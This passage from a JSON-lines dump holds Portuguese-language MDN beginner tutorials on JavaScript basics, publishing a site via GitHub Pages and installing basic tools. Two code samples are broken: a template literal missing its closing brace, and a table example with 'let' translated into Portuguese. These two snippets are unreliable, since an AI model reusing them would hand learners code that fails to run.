fiquem frustrados e vão para outro lugar.\n* **Acessibilidade** significa tornar seus sites utilizáveis por tantos tipos diferentes de pessoas quanto possível (conceitos relacionados são diversidade e inclusão e design inclusivo). Isso inclui pessoas com deficiências visuais, auditivas, cognitivas ou físicas. Também vai além das pessoas com deficiência - que tal pessoas jovens ou velhas, pessoas de diferentes culturas, pessoas que usam dispositivos móveis ou pessoas com conexões de rede lentas ou não confiáveis?\n* **Internacionalização** significa tornar os sites utilizáveis por pessoas de diferentes culturas, que falam línguas diferentes com a sua. Existem considerações técnicas aqui (como alterar seu layout para que ainda funcione bem para linguagens da direita para a esquerda ou até mesmo verticais) e humanas (como usar uma linguagem simples e sem gíria para que as pessoas que têm sua linguagem já que o segundo ou terceiro idioma deles têm mais probabilidade de entender seu texto).\n* **Privacidade e segurança** . Esses dois conceitos estão relacionados, mas são diferentes. Privacidade refere-se a permitir que as pessoas façam seus negócios em particular e não espioná-las ou coletar mais dados do que você absolutamente precisa. Segurança refere-se à construção de seu site de maneira segura, de forma que usuários mal-intencionados não possam roubar informações contidas nele de você ou de seus usuários.\nVeja também\n-----------\n\n* História da World Wide Web\n* Como funciona a internet?"}
{"title":"Noções básicas de JavaScript - Aprendendo desenvolvimento web","text":"Noções básicas de JavaScript\n============================\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\n JavaScript é uma linguagem de programação que adiciona interatividade ao seu site. Isso acontece em jogos, no comportamento das respostas quando botões são pressionados ou com entrada de dados em formulários; com estilo dinâmico; com animação, etc.\n Este artigo ajuda você a começar a usar o JavaScript e aumenta sua compreensão do que é possível.\n\nO que é JavaScript?\n-------------------\n\nJavaScript é uma poderosa linguagem de programação que pode adicionar interatividade a um site.\n Foi inventado por Brendan Eich.\n\n JavaScript é versátil e amigável para iniciantes.\n Com mais experiência, você poderá criar jogos, gráficos 2D e 3D animados, aplicativos abrangentes baseados em banco de dados e muito mais!\n\nO próprio JavaScript é relativamente compacto, mas muito flexível. Os desenvolvedores escreveram uma variedade de ferramentas sobre a linguagem JavaScript principal, desbloqueando uma grande quantidade de funcionalidades com o mínimo de esforço. Esses incluem:\n\n* Interfaces de programação de aplicativos de navegador (APIs) incorporadas a navegadores da Web, fornecendo funcionalidades como criação dinâmica de HTML e definição de estilos CSS; coletar e manipular um fluxo de vídeo da webcam de um usuário ou gerar gráficos 3D e amostras de áudio.\n* APIs de terceiros que permitem aos desenvolvedores incorporar funcionalidades em sites de outros provedores de conteúdo, como Twitter ou Facebook.\n* Estruturas e bibliotecas de terceiros que você pode aplicar ao HTML para acelerar o trabalho de construção de sites e aplicativos.\n\nEstá fora do escopo deste artigo — como uma introdução leve ao JavaScript — apresentar os detalhes de como a linguagem JavaScript básica é diferente das ferramentas listadas acima. Você pode aprender mais na [área de aprendizado de JavaScript] do MDN (/pt-BR/docs/Learn/JavaScript), bem como em outras partes do MDN.\n\nA seção abaixo apresenta alguns aspectos da linguagem principal e também oferece uma oportunidade de jogar com alguns recursos da API do navegador. Divirta-se!\n\nUm exemplo \"Olá, mundo!\"\n------------------------\n\nJavaScript é uma das tecnologias da web modernas mais populares! À medida que suas habilidades em JavaScript aumentam, seus sites entrarão em uma nova dimensão de poder e criatividade.\n\nNo entanto, familiarizar-se com JavaScript é mais desafiador do que familiarizar-se com HTML e CSS. Você pode ter que começar pequeno e progredir gradualmente. Para começar, vamos examinar como adicionar JavaScript à sua página para criar um exemplo *Hello world!*. (*Hello world!* é o padrão para exemplos de programação introdutória.)\n\n**Aviso:** Se você não está acompanhando o restante do nosso curso, faça o download deste código de exemplo e use-o como ponto de partida.\n\n1. Vá para o seu site de teste e crie uma nova pasta chamada `scripts`. Dentro da pasta scripts, crie um novo documento de texto chamado `main.js` e salve-o.\n2. Em seu arquivo `index.html`, insira este código em uma nova linha, logo antes da tag de fechamento `</body>`:\n\n```html\n<script src=\"scripts/main.js\"></script>\n```\n\n3. Isso faz o mesmo trabalho que o elemento `<link>` para CSS. Ele aplica o JavaScript à página, para que possa afetar o HTML (junto com o CSS e qualquer outra coisa na página).\n4. Adicione este código ao arquivo `main.js`:\n\n```js\nconst myHeading = document.querySelector(\"h1\");\nmyHeading.textContent = \"Olá mundo!\";\n```\n\n5. Certifique-se de que os arquivos HTML e JavaScript foram salvos. Em seguida, carregue `index.html` em seu navegador. Você deve ver algo assim:\n\n![Título \"hello world\" acima de um logotipo do firefox](/pt-BR/docs/Learn/Getting_started_with_the_web/JavaScript_basics/hello-world.png)\n\n**Nota:** A razão pela qual as instruções (acima) colocam o elemento `<script>` perto da parte inferior do arquivo HTML é que o navegador lê o código na ordem em que aparece no arquivo.\n\nSe o JavaScript carregar primeiro e supostamente afetar o HTML que ainda não foi carregado, pode haver problemas. Colocar JavaScript perto da parte inferior de uma página HTML é uma maneira de acomodar essa dependência. Para saber mais sobre abordagens alternativas, consulte Estratégias de carregamento de script.\n\n### O que aconteceu?\n\nO texto do cabeçalho mudou para *Hello world!* usando JavaScript. Você fez isso usando uma função chamada `querySelector()` para obter uma referência ao seu título e armazená-lo em uma variável chamada `myHeading`. Isso é semelhante ao que fizemos usando seletores CSS. Quando você deseja fazer algo em um elemento, primeiro precisa selecioná-lo.\n\nEm seguida, o código define o valor da propriedade `textContent` da variável `myHeading` (que representa o conteúdo do cabeçalho) como *Hello world!*.\n\n**Nota:** Ambos os recursos usados neste exercício são partes do Modelo de Objeto de Document (DOM), que tem a capacidade de manipular documentos.\n\nCurso intensivo de fundamentos da linguagem\n-------------------------------------------\n\nPara entender melhor como o JavaScript funciona, vamos explicar alguns dos principais recursos da linguagem. Vale a pena notar que esses recursos são comuns a todas as linguagens de programação. Se você dominar esses fundamentos, terá uma vantagem inicial na codificação em outras linguagens também!\n\n**Aviso:** neste artigo, tente inserir as linhas de código de exemplo em seu console JavaScript para ver o que acontece. Para obter mais detalhes sobre consoles JavaScript, consulte Descubra as ferramentas de desenvolvedor do navegador.\n\n### Variáveis\n\nVariables são contêineres que armazenam valores. Você começa declarando uma variável com a palavra-chave `let`, seguida do nome que você dá à variável:\n\n\n```js\nlet myVariable;\n```\n\n\nUm ponto e vírgula no final de uma linha indica onde uma instrução termina. Só é necessário quando você precisa separar instruções em uma única linha. No entanto, algumas pessoas acreditam que é uma boa prática colocar ponto-e-vírgula no final de cada instrução. Existem outras regras para quando você deve e não deve usar ponto-e-vírgula. Para obter mais detalhes, consulte Your Guide to Semicolons in JavaScript.\n\nVocê pode nomear uma variável para praticamente qualquer coisa, mas há algumas restrições. (Consulte esta seção sobre regras de nomenclatura.) Se não tiver certeza, você pode verificar o nome da variável para ver se é válido.\n\nJavaScript diferencia maiúsculas de minúsculas. Isso significa que `minhaVariável` não é o mesmo que `minhavariável`. Se você tiver problemas em seu código, verifique o caso!\n\nDepois de declarar uma variável, você pode atribuir um valor a ela:\n\n\n```js\nmyVariable = \"Bob\";\n```\n\n\nAlém disso, você pode fazer essas duas operações na mesma linha:\n\n\n```js\nlet myVariable = \"Bob\";\n```\n\n\nVocê recupera o valor chamando o nome da variável:\n\n\n```js\nmyVariable;\n```\n\n\nDepois de atribuir um valor a uma variável, você pode alterá-lo posteriormente no código:\n\n\n```js\nlet myVariable = \"Bob\";\nmyVariable = \"Steve\";\n```\n\n\nObserve que as variáveis podem conter valores que têm diferentes tipos de dados:\n\n| Variável | Explicação | Exemplo |\n| --- | --- | --- |\n| String | \n Esta é uma sequência de texto conhecida como string. Para significar que o valor\n for uma string, coloque-a entre aspas simples.\n  | `let myVariable = 'Bob';` |\n| Number | Isto é um número. Os números não têm aspas. | `deixe minhaVariável = 10;` |\n| Boolean | \n Este é um valor Verdadeiro/Falso. As palavras `true` e\n `false` são palavras-chave especiais que não precisam de aspas.\n  | `let myVariable = true;` |\n| Array | \n Esta é uma estrutura que permite armazenar vários valores em um único\n referência.\n  | `let myVariable = [1,'Bob','Steve',10];`Refere-se a cada\n membro do array assim:`myVariable[0]`,\n `myVariable[1]`, etc.\n  |\n| Object | \n Isso pode ser qualquer coisa. Tudo em JavaScript é um objeto e pode ser\n armazenados em uma variável. Tenha isso em mente enquanto aprende.\n  | `let myVariable = document.querySelector('h1');`Todos\n os exemplos acima também.\n  |\n\nEntão, por que precisamos de variáveis? As variáveis são necessárias para fazer qualquer coisa interessante na programação. Se os valores não pudessem ser alterados, você não poderia fazer nada dinâmico, como personalizar uma mensagem de saudação ou alterar uma imagem exibida em uma galeria de imagens.\n\n### Comentários\n\nComentários são trechos de texto que podem ser adicionados junto com o código. O navegador ignora o texto marcado como comentários. Você pode escrever comentários em JavaScript da mesma forma que em CSS:\n\n\n```js\n/\\*\nTudo no meio é um comentário.\n\\*/\n```\n\n\nSe o seu comentário não contém quebras de linha, é uma opção colocá-lo atrás de duas barras como esta:\n\n\n```js\n// Isso é um comentário\n```\n\n### Operadores\n\nUm `operator` é um símbolo matemático que produz um resultado baseado em dois valores (ou variáveis). Na tabela a seguir, você pode ver alguns dos operadores mais simples, juntamente com alguns exemplos para experimentar no console JavaScript.\n\n| Operador | Explicação | Símbolo(s) | Exemplo |\n| --- | --- | --- | --- |\n| Adição | Adicione dois números ou combine duas strings. | `+` | `6 + 9;'Olá ' + 'mundo!';` |\n| Subtração, Multiplicação, Divisão | Eles fazem o que você espera que façam em matemática básica. | `-`, `*`, `/` | `9 - 3;8 * 2; // multiplicar em JS é um asterisco9 / 3;` |\n| Atribuição | Como você já viu: isso atribui um valor a uma variável. | `=` | `let myVariable = 'Bob';` |\n| Igualdade estrita | \n Isso executa um teste para ver se dois valores são iguais. Ele retorna um\n Resultado `true`/`false` (booleano).\n  | `===` | `let myVariable = 3;myVariable === 4;` |\n| Não, não é igual | \n Isso retorna o valor logicamente oposto do que precede. Acontece\n um `true` em um `false`, etc. Quando é usado\n ao lado do operador de igualdade, o operador de negação testa se dois\n os valores *não* são iguais.\n  | `!`, `!==` | \n Para \"Not\", a expressão básica é `true`, mas o\n a comparação retorna `false` porque nós a negamos:\n\n`let myVariable = 3;!(myVariable === 3);`\n\n \"Não é igual\" dá basicamente o mesmo resultado com diferentes\n sintaxe. Aqui estamos testando \"é `myVariable` NÃO igual a\n 3\". Isso retorna `false` porque `myVariable` É\n igual a 3:\n\n`let myVariable = 3;myVariable !== 3;` |\n\nExistem muito mais operadores para explorar, mas isso é o suficiente por enquanto. Consulte Expressões e operadores para obter uma lista completa.\n\n**Nota:** misturar tipos de dados pode levar a alguns resultados estranhos ao realizar cálculos. Tenha cuidado para se referir às suas variáveis corretamente e obter os resultados esperados. Por exemplo, digite `'35' + '25'` em seu console. Por que você não consegue o resultado que esperava? Como as aspas transformam os números em strings, você acabou concatenando strings em vez de adicionar números. Se você inserir `35 + 25`, obterá o total dos dois números.\n\n### Condicionais\n\nCondicionais são estruturas de código usadas para testar se uma expressão retorna verdadeira ou não. Uma forma muito comum de condicionais é a instrução `if...else`. Por exemplo:\n\n\n```js\nlet iceCream = \"chocolate\";\nif (iceCream === \"chocolate\") {\n  alert(\"Sim, eu amo sorvete de chocolate!\");\n} else {\n  alert(\"Aaaah, mas chocolate é o meu favorito…\");\n}\n```\n\n\nA expressão dentro do `if ()` é o teste. Isso usa o operador de igualdade estrita (conforme descrito acima) para comparar a variável `iceCream` com a string `chocolate` para ver se as duas são iguais. Se esta comparação retornar `true`, o primeiro bloco de código será executado. Se a comparação não for verdadeira, o segundo bloco de código — após a instrução `else` — será executado.\n\n### Funções\n\nFunctions são uma forma de empacotar a funcionalidade que você deseja reutilizar. É possível definir um corpo de código como uma função que é executada quando você chama o nome da função em seu código. Esta é uma boa alternativa para escrever repetidamente o mesmo código. Você já viu alguns usos de funções. Por exemplo:\n\n\n```js\nlet myVariable = document.querySelector(\"h1\");\n```\n\n\n\n```js\nalert(\"olá!\");\n```\n\n\nEssas funções, `document.querySelector` e `alert`, são incorporadas ao navegador.\n\nSe você ver algo que se parece com um nome de variável, mas é seguido por parênteses— `()` —provavelmente é uma função. As funções geralmente usam arguments: bits de dados de que precisam para realizar seu trabalho. Os argumentos ficam dentro dos parênteses, separados por vírgulas se houver mais de um argumento.\n\nPor exemplo, a função `alert()` faz com que uma caixa pop-up apareça dentro da janela do navegador, mas precisamos dar a ela uma string como argumento para informar à função qual mensagem exibir.\n\nVocê também pode definir suas próprias funções. No próximo exemplo, criamos uma função simples que recebe dois números como argumentos e os multiplica:\n\n\n```js\nfunction multiply(num1, num2) {\n  let result = num1 \\* num2;\n  return result;\n}\n```\n\n\nTente executar isso no console; então teste com vários argumentos. Por exemplo:\n\n\n```js\nmultiply(4, 7);\nmultiply(20, 20);\nmultiply(0.5, 3);\n```\n\n\n**Nota:** A instrução `return` diz ao navegador para retornar a variável `result` da função para que ela esteja disponível usar. Isso é necessário porque as variáveis definidas dentro das funções só estão disponíveis dentro dessas funções. Isso é chamado de variável scoping. (Leia mais sobre escopo de variável.)\n\n### Eventos\n\nA interatividade real em um site requer manipuladores de eventos. Essas são estruturas de código que detectam atividades no navegador e executam o código em resposta. O exemplo mais óbvio é lidar com o evento de click, que é acionado pelo navegador quando você clica em algo com o mouse. Para demonstrar isso, digite o seguinte em seu console e clique na página da Web atual:\n\n\n```js\ndocument.querySelector(\"html\").addEventListener(\"click\", function () {\n  alert(\"Ai! Pare de me cutucar!\");\n});\n```\n\n\n Existem várias maneiras de anexar um manipulador de eventos a um elemento.\n Aqui selecionamos o elemento `<html>`. Em seguida, chamamos sua função `addEventListener()`, passando o nome do evento para ouvir (`'click'`) e uma função para executar quando o evento acontecer.\n\n A função que acabamos de passar para `addEventListener()` aqui é chamada de *função anônima*, porque não tem um nome. Existe uma maneira alternativa de escrever funções anônimas, que chamamos de *função de seta*.\n Uma função de seta usa `() =>` em vez de `function ()`:\n\n\n```js\ndocument.querySelector(\"html\").addEventListener(\"click\", () => {\n  alert(\"Ai! Pare de me cutucar!\");\n});\n```\n\nMelhorando nosso site de exemplo\n--------------------------------\n\nCom esta revisão dos fundamentos do JavaScript concluída (acima), vamos adicionar alguns novos recursos ao nosso site de exemplo.\n\nAntes de prosseguir, exclua o conteúdo atual do seu arquivo `main.js` — a parte que você adicionou anteriormente durante o \"Hello world!\" exemplo — e salve o arquivo vazio. Caso contrário, o código existente entrará em conflito com o novo código que você está prestes a adicionar.\n\n### Adicionando um trocador de imagens\n\nNesta seção, você aprenderá como usar os recursos JavaScript e DOM API para alternar a exibição de uma das duas imagens. Essa alteração ocorrerá quando o usuário clicar na imagem exibida.\n\n1. Escolha uma imagem que deseja apresentar em seu site de exemplo. Idealmente, a imagem terá o mesmo tamanho da imagem que você adicionou anteriormente ou o mais próximo possível.\n2. Salve esta imagem em sua pasta `images`.\n3. Renomeie a imagem *firefox2.png*.\n4. Adicione o seguinte código JavaScript ao seu arquivo `main.js`.\n\n```js\nconst myImage = document.querySelector(\"img\");\n\nmyImage.onclick = () => {\n  const mySrc = myImage.getAttribute(\"src\");\n  if (mySrc === \"images/firefox-icon.png\") {\n    myImage.setAttribute(\"src\", \"images/firefox2.png\");\n  } else {\n    myImage.setAttribute(\"src\", \"images/firefox-icon.png\");\n  }\n};\n```\n\n5. Salve todos os arquivos e carregue `index.html` no navegador. Agora, quando você clicar na imagem, ela deve mudar para a outra.\n\nIsso é o que aconteceu. Você armazenou uma referência ao seu elemento `<img>` na variável `myImage`. Em seguida, você tornou a propriedade do manipulador de eventos `onclick` desta variável igual a uma função sem nome (uma função \"anônima\"). Portanto, toda vez que esse elemento for clicado:\n\n1. O código recupera o valor do atributo `src` da imagem.\n2. O código usa uma condicional para verificar se o valor `src` é igual ao caminho da imagem original:\n    1. Se for, o código altera o valor `src` para o caminho da segunda imagem, forçando a outra imagem a ser carregada dentro do elemento `<img>`.\n    2. Se não for (o que significa que já deve ter mudado), o valor `src` volta para o caminho da imagem original, para o estado original.\n### Adicionando uma mensagem de boas-vindas personalizada\n\nEm seguida, vamos alterar o título da página para uma mensagem de boas-vindas personalizada quando o usuário visitar o site pela primeira vez. Esta mensagem de boas-vindas persistirá. Caso o usuário saia do site e retorne posteriormente, salvaremos a mensagem usando a Web Storage API. Também incluiremos uma opção para alterar o usuário e, portanto, a mensagem de boas-vindas.\n\n1. Em `index.html`, adicione a seguinte linha antes do elemento `<script>`:\n\n```html\n<button>Alterar usuário</button>\n```\n\n2. Em `main.js`, coloque o seguinte código no final do arquivo, exatamente como está escrito. Isso leva referências ao novo botão e ao cabeçalho, armazenando cada uma das variáveis internas:\n\n```js\nlet myButton = document.querySelector(\"button\");\nlet myHeading = document.querySelector(\"h1\");\n```\n\n3. Adicione a seguinte função para definir a saudação personalizada. Isso não vai fazer nada ainda, mas thisso vai mudar em breve.\n\n```js\nfunction setUserName() {\n  const myName = prompt(\"Por favor, digite o seu nome\");\n  localStorage.setItem(\"name\", myName);\n  myHeading.textContent = `Mozilla é legal, ${myName}`;\n}\n```\n\nA função `setUserName()` contém uma função `prompt()`, que exibe uma caixa de diálogo, semelhante a `alert()`. Esta função `prompt()` faz mais do que `alert()`, solicitando ao usuário que insira dados e armazenando-os em uma variável após o usuário clicar em *OK.* Neste caso, estamos solicitando que o usuário insira um nome. Em seguida, o código chama uma API `localStorage`, que nos permite armazenar dados no navegador e recuperá-los posteriormente. Usamos a função `setItem()` do localStorage para criar e armazenar um item de dados chamado `'name'`, configurando seu valor para a variável `myName` que contém a entrada do usuário para o nome. Por fim, definimos o `textContent` do cabeçalho como uma string, mais o nome do usuário recém-armazenado.\n4. Adicione o seguinte bloco de condição. Poderíamos chamar isso de código de inicialização, pois ele estrutura o aplicativo quando ele é carregado pela primeira vez.\n\n```js\nif (!localStorage.getItem(\"name\")) {\n  setUserName();\n} else {\n  const storedName = localStorage.getItem(\"name\");\n  myHeading.textContent = `Mozilla é legal, ${storedName`;\n}\n```\n\nEsta primeira linha deste bloco utiliza o operador de negação (NOT lógico, representado pelo `!`) para verificar se os dados `nome` existem. Caso contrário, a função `setUserName()` é executada para criá-lo. Se existir (ou seja, o usuário definiu um nome de usuário durante uma visita anterior), recuperamos o nome armazenado usando `getItem()` e definimos o `textContent` do cabeçalho como uma string, mais o nome do usuário, conforme fez dentro de `setUserName()`.\n5. Coloque este manipulador de evento `onclick` (abaixo) no botão. Quando clicado, `setUserName()` é executado. Isso permite que o usuário insira um nome diferente pressionando o botão.\n\n```js\nmyButton.onclick = () => {\n  setUserName();\n};\n```\n\n### Um nome de usuário nulo?\n\nAo executar o exemplo e obter a caixa de diálogo que solicita que você insira seu nome de usuário, tente pressionar o botão *Cancelar*. Você deve terminar com um título que diz *Mozilla é legal, null*. Isso acontece porque, quando você cancela o prompt, o valor é definido como `null`. *Null* é um valor especial em JavaScript que se refere à ausência de um valor.\n\nAlém disso, tente clicar em *OK* sem inserir um nome. Você deve terminar com um título que diga *Mozilla é legal,* por razões bastante óbvias.\n\nPara evitar esses problemas, você pode verificar se o usuário não digitou um nome em branco. Atualize sua função `setUserName()` para isto:\n\n\n```js\nfunction setUserName() {\n  const myName = prompt(\"Por favor digite o seu nome.\");\n  if (!myName) {\n    setUserName();\n  } else {\n    localStorage.setItem(\"name\", myName);\n    myHeading.textContent = `Mozilla é legal, ${myName}`;\n  }\n}\n```\n\n\nEm linguagem humana, isso significa: Se `myName` não tiver valor, execute `setUserName()` novamente desde o início. Se ele tiver um valor (se a declaração acima não for verdadeira), armazene o valor em `localStorage` e defina-o como o texto do título.\n\nConclusão\n---------\n\nSe você seguiu todas as instruções deste artigo, deve terminar com uma página parecida com a imagem abaixo. Você também pode ver nossa versão.\n\n![Aparência final da página HTML após a criação dos elementos: um cabeçalho, um grande logotipo centralizado, conteúdo e um botão](/pt-BR/docs/Learn/Getting_started_with_the_web/JavaScript_basics/website-screen-scripted.png)\n\nSe você ficar preso, pode comparar seu trabalho com nosso código de exemplo finalizado no GitHub .\n\nAcabamos de arranhar a superfície do JavaScript. Se você gostou de jogar e deseja ir além, aproveite os recursos listados abaixo.\n\nVeja também\n-----------\n\nScripting dinâmico do lado do cliente com JavaScript\n\nMergulhe no JavaScript com muito mais detalhes.\n\nAprenda JavaScript\n\nEste é um excelente recurso para aspirantes a desenvolvedores da web! Aprenda JavaScript em um ambiente interativo, com aulas curtas e testes interativos, guiados por uma avaliação automatizada. As primeiras 40 aulas são gratuitas. O curso completo está disponível por um pequeno pagamento único.\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"Publicando seu site - Aprendendo desenvolvimento web","text":"Publicando seu site\n===================\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\nUma vez que você tenha acabado de escrever seu código e organizar os arquivos que compõem seu site, você precisa disponibilizar tudo isso online para que as pessoas possam achá-lo. Este artigo mostra como colocar online seu código de amostra simples com o mínimo de esforço.\n\nQuais são as opções?\n--------------------\n\nPublicar um site não é um tópico simples, principalmente porque há muitas maneiras diferentes de fazê-lo. Nesse artigo, nós não pretendemos documentar todos os métodos possíveis. Em vez disso, nós discutiremos os prós e contras de três estratégias do ponto de vista de um iniciante, e então o guiaremos por um método que irá funcionar por enquanto.\n\n### Conseguindo uma hospedagem e um nome de domínio\n\nPara ter mais controle sobre o conteúdo e a aparência do site, a maioria das pessoas escolhe comprar hospedagem na web e um nome de domínio:\n\n* Hospedagem é um espaço para arquivos alugado no servidor de uma compania de hospedagem. O servidor disponibiliza o conteúdo do site para os usuários que o visitam.\n* Um nome de domínio é o endereço único onde pessoas encontram seu site, como `http://www.mozilla.org`, ou `http://www.bbc.co.uk`. Você aluga seu nome de domínio por tantos anos quanto desejar por meio de um **registrador de domínio**.\n\nMuitos sites profissionais ficam online dessa maneira.\n\nVocê vai precisar ainda de um programa de Protocolo de Transferência de Arquivos (FTP) (en-US) (veja Quanto custa: software para mais detalhes) para transferir os arquivos do site ao servidor. Programas FTP variam, mas geralmente você tem que logar no servidor usando detalhes fornecidos por sua empresa de hospedagem (ex. nome de usuário, senha, nome de host). Então, o programa mostra para você os arquivos locais e do servidor em duas janelas, para que você possa transferí-los ao servidor e de volta para o computador:\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/Publishing_your_website/ftp.jpg)\n\n#### Dicas para encontrar hospedagem e domínios\n\n* Nós não promovemos empresas de hospedagem comercial ou para registro de nome de domínio. Para encontrar empresas de hospedagem e registradores de domínio, basta procurar por \"hospedagem web\" e \"nomes de domínio\". Todos os registradores terão um recurso para permitir que você verifique se o nome de domínio desejado está disponível.\n* Seu provedor de serviço de internet (en-US) local ou empresarial pode fornecer uma hospedagem limitada para um site pequeno. O conjunto de recursos disponíveis será limitado, mas pode ser perfeito para seus primeiros experimentos — entre em contato com eles e pergunte!\n* Há alguns serviços disponíveis gratuitamente, como Neocities, Blogspot e Wordpress. Às vezes, você recebe o que paga, mas às vezes esses recursos são bons o suficiente para suas experiências iniciais.\n* Muitas empresas fornecem hospedagem e registro de domínio.\n### Usando uma ferramenta online como Github ou Google App Engine\n\nAlgumas ferramentas permitem que você publique seu site online:\n\n* Github é um site de \"codificação social\". Ele permite que você faça upload de repositórios de código para armazenamento no **sistema de controle de versão** Git**.** Você pode então colaborar em projetos de código, e o sistema é open-source por padrão, o que significa que todo mundo pode encontrar seu código Github, usá-lo, aprender com ele e se aprimorar. O Gitub tem um recurso muito útil chamado GitHub Pages, que permite expor o código do site ao vivo na web.\n* O Google App Engine é uma plataforma poderosa que permite criar e executar aplicativos na infraestrutura do Google, seja para criar um aplicativo da Web de várias camadas a partir do zero ou para hospedar um site estático. Veja Como você hospeda seu website no Google App Engine? Para maiores informações.\n\nDiferente da maioria das hospedagens, essas ferramentas geralmentre são gratuitas, mas você tem um conjunto limitado de recursos.\n\n### Usando uma IDE baseada na web como o CodePen\n\nHá um número grande de web apps que emulam um ambiente de desenvolvimento de site, permitindo a você escrever HTML, CSS e JavaScript e então expor o resultado renderizado como em um site — tudo em uma aba do navegador! Falando de forma genérica, essas ferramentas são fáceis, boas para aprender e gratuitas (para recursos básicos), e elas geralmente hospedam sua página em um endereço único na web. No entanto, os recursos são limitados e esses aplicativos geralmente não provêem espaço de hospedagem para recursos (como imagens).\n\nTente codificar com alguns desses exemplos, e veja qual se encaixa melhor para você:\n\n* JSFiddle\n* Thimble\n* JSBin\n* CodePen\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/Publishing_your_website/jsbin-screen.png)\n\nPublicando via Github\n---------------------\n\nAgora vamos mostrar como publicar seu site facilmente por meio das páginas do GitHub.\n\n1. Primeiro de tudo, inscreva-se no GitHub e verifique seu e-mail.\n2. Em seguida, você precisa criar um repositório para colocar seus arquivos.\n3. Nesta página, na caixa *Repository name* (nome do repositório), digite username.github.io, onde *username* é o seu nome de usuário. Então, por exemplo, nosso amigo bobsmith entraria em bobsmith.github.io. Além disso, marque *Initialize this repository with a README* (inicializar este repositório com um README) e então clique em *Create repository* (Criar repositório).\n4. ![](/pt-BR/docs/Learn/Getting_started_with_the_web/Publishing_your_website/github-create-repo.png)\n5. Arraste e solte o conteúdo da pasta do site no seu repositório e clique em *Commit changes* (confirmar alterações).\n\n**Nota:** Nota: Certifique-se que sua pasta possui um arquivo `index.html`.\n6. Navegue em seu navegador até *username*.github.io para ver seu site online. Por exemplo, para o usuário *chrisdavidmills*, vá para *chrisdavidmills*.github.io.\n\n**Nota:** Nota: Pode levar alguns minutos para seu site ficar online. Se ele não funcionar imediatamente, talvez seja necessário aguardar alguns minutos e tentar novamente.\n\nPara aprender mais, consulte a Ajuda do Github Pages (em inglês).\n\nLeitura complementar\n--------------------\n\n* O que é um servidor web\n* Entendendo nomes de domínio\n* Quanto custa fazer algo na web?\n* Publicar um site: Um bom tutorial da Codecademy que vai um pouco além e mostra algumas técnicas adicionais.\n* Hospedagem baratas ou gratuitas de sites estáticos, por Scott Murray, tem algumas idéias úteis sobre serviços disponíveis.\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"Instalando os programas básicos - Aprendendo desenvolvimento web","text":"Instalando os programas básicos\n===============================\n\n* Menu: Getting started with the web\n* Próxima\n\nEm *Instalando os programas básicos*, mostraremos quais ferramentas você precisa para o desenvolvimento web simples e como instalá-los apropriadamente.\n\nQuais ferramentas os profissionais usam?\n----------------------------------------\n\n* **Um computador**. Talvez isso soe óbvio para algumas pessoas, mas alguns de vocês estão lendo esse artigo de um smartphone ou de um computador público. Para um desenvolvimento sério em web, é melhor investir em um desktop ou notebook rodando Windows, macOS ou Linux.\n* **Um editor de texto**, para escrever código. Pode ser um editor de texto (ex: Visual Studio Code (em inglês), Notepad++ (em inglês), Sublime Text (em inglês), Atom (em inglês), Brackets, GNU Emacs (em inglês) ou VIM (em inglês)), ou um editor hibrído (ex: Dreamweaver ou WebStorm (em inglês)). Editores de documentos do Office não são adequados para esse tipo de uso, pois ele se baseiam em elementos escondidos que interferem com os motores de renderização usados pelos navegadores.\n* **Navegadores web**, para testar os códigos. Atualmente os navegadores mais usados são Firefox, Chrome, Opera, Safari, Internet Explorer e Microsoft Edge. Você também deve testar o desempenho do seu site em dispositivos móveis e navegadores antigos que seu público-alvo ainda esteja usando (como o IE 8–10). O Lynx, um navegador da Web baseado em texto, é ótimo para ver como o site é experimentado por usuários com deficiência.\n* **Um editor gráfico**, como o GIMP (em inglês), Paint.NET (em inglês), Photoshop, or XD , para fazer imagens ou gráficos para suas páginas.\n* **Um sistema de controle de versão**, para gerenciar arquivos em servidores, colaborar em um projeto com uma equipe, compartilhar códigos e ativos, e evitar conflitos de edição. Atualmente, o Git (em inglês) é o sistema de controle de versão mais popular junto com o serviço de hospedagem GitHub (em inglês) ou GitLab (em inglês).\n* **Um programa de FTP**, usado em contas de hospedagem web mais antigas para gerenciar arquivos em servidores (o Git está substituindo cada vez mais o FTP para esse propósito). Existem muitos programas de FTP disponíveis, incluindo o Cyberduck (em inglês), o Fetch (em inglês) e o FileZilla (em inglês).\n* **Um sistema de automação**, como o Grunt (em inglês) ou o Gulp (em inglês), para realizar tarefas repetitivas automaticamente, como por exemplo minificar o código e executar testes.\n* Templates, bibliotecas, frameworks, etc., para acelerar a funcionalidade da escrita.\n* Além de mais ferramentas!\nQuais ferramentas eu realmente preciso nesse momento?\n-----------------------------------------------------\n\nIsso parece uma lista assustadora, mas felizmente, você pode começar a desenvolver web sem saber nada sobre a maioria deles. Neste artigo, vamos apenas configurá-lo com um mínimo — um editor de texto e alguns navegadores modernos.\n\n### Instalando um editor de texto\n\nVocê provavelmente já tem um editor de texto básico no seu computador. Por padrão, o Windows inclui o Bloco de Notas (em inglês) e o Mac OS vem com o TextEdit (em inglês). Linux varia; Ubuntu vem com o gedit (em inglês) por padrão.\n\nPara desenvolvimento web, você provavelmente pode ter mais do que o Bloco de Notas ou o TextEdit. Recomendamos começar com o Visual Studio Code (em inglês), que é um editor gratuito, que oferece visualizações ao vivo e dicas de código.\n\n### Instalando navegadores web modernos\n\nPor enquanto, instalaremos alguns navegadores da Web para testar nosso código. Escolha seu sistema operacional abaixo e clique nos links relevantes para fazer o download dos instaladores dos seus navegadores favoritos:\n\n* Linux: Firefox, Chrome, Opera, Brave.\n* Windows: Firefox, Chrome, Opera, Internet Explorer, Microsoft Edge, Brave (O Windows 10 vem com o Edge por padrão, se você tem o Windows 7 ou acima, você pode instalar o internet explorer 11; caso contrário, você deve instalar um navegador alternativo)\n* Mac: Firefox, Chrome, Opera, Safari, Brave (Safari vem no iOS e macOS por padrão)\n\nAntes de continuar, você deve instalar pelo menos dois desses navegadores e tê-los disponíveis para teste.\n\n**Nota:** O Internet Explorer não é compatível com alguns recursos modernos da web e pode não ser capaz de executar seu projeto.\n\n### Instalando um servidor web local\n\nAlguns exemplos precisarão ser executados por um servidor web para funcionar com êxito. Você pode ver como fazer isso em Como eu configuro um servidor de teste localmente?\n\n* Menu: Getting started with the web\n* Próxima"}
